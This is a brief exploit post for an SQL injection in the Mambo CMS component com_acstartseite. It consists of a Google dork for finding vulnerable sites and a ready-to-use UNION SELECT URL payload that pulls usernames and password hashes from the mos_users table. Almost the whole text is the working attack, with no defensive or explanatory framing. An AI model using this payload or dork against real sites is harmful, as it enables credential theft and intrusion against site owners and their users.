Mambo com_acstartseite SQL injection..

Google dork : index.php?option=com_acstartseite

http://localhost/index.php?option=com_acstartseite&Itemid=-110 UNION SELECT 1,2,concat(username,0x20,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17 from mos_users--